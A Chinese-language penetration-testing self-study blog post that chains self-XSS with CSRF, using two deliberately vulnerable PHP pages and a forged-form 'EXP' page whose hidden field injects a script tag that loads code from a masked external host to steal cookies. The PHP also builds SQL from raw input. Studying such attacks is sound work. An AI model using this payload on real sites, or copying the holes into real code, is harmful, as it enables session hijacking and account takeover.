網絡安全自學篇-滲透測試(隨筆三)

SelfXss+CSRF組合拳

網絡安全自學篇-滲透測試(隨筆一)
網絡安全自學篇-滲透測試(隨筆二)
selfxss就是隻能對本地客戶端產生影響的跨站腳本攻擊,舉例簡單來說就是像獲取到的cookie是自己的,顯然這並沒有什麼實際危害,但是一旦結合跨站請求僞造則會導致危害升級,並且成爲存儲型的跨站腳本攻擊。
這裏我做了個更改用戶名的案例:
change1.php:

<?php
    header("content-type:text/html;charset=utf-8");
    session_start();
    $conn = mysql_connect("localhost","root","root");
    mysql_select_db("csrf",$conn);
    $sql = "SELECT username FROM user WHERE id=1;";
    $result = mysql_query($sql);
    while($row = mysql_fetch_array($result)) {
        echo "當前用戶名:".$row['username']."\n";
        $_SESSION['username'] = $row['username'];
    }
    echo '<form action="change.php" method="post">
    用戶名:<input type="text" name="username"><br >
    <input type="submit" name="submit" value="修改用戶名">';

change.php

<?php
header("content-type:text/html;charset=utf-8");
session_start();
if(!isset($_SESSION['username'])) {
    echo '<script>alert("請重新登錄!")</script>';
    exit();
}else{
    $username = $_POST['username'];
    $conn = mysql_connect("localhost","root","root");
    mysql_select_db("csrf",$conn);
    $sql = "UPDATE user SET username='$username' WHERE username=username;";
    $result = mysql_query($sql);
    if($result) {
        echo '<script>alert("修改用戶名成功!")</script>';
        include("change1.php");
    }else{
        echo '<script>alert("修改用戶名失敗!")</script>';
    }
}

首先我們打開change1.php
在這裏插入圖片描述
觀察該頁面可以看到修改用戶名模塊,嘗試XSS,發現只是一個selfxss
在這裏插入圖片描述
在這裏插入圖片描述
由源代碼可以知道該頁面沒有防止csrf,因此可以通過selfxss+csrf來擴大危害,也可從請求包看出
在這裏插入圖片描述EXP如下:

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://114.116.231.250/change.php" method="POST">
      <input type="hidden" name="username" value="<sCRiPt sRC=https://******/ZSeF></sCrIpT>" />
      <input type="hidden" name="submit" value="ä&#191;&#174;æ&#148;&#185;ç&#148;&#168;æ&#136;&#183;å&#144;&#141;" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

誘使用戶點擊
在這裏插入圖片描述
在這裏插入圖片描述
成功取到cookie並且是存儲型
在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章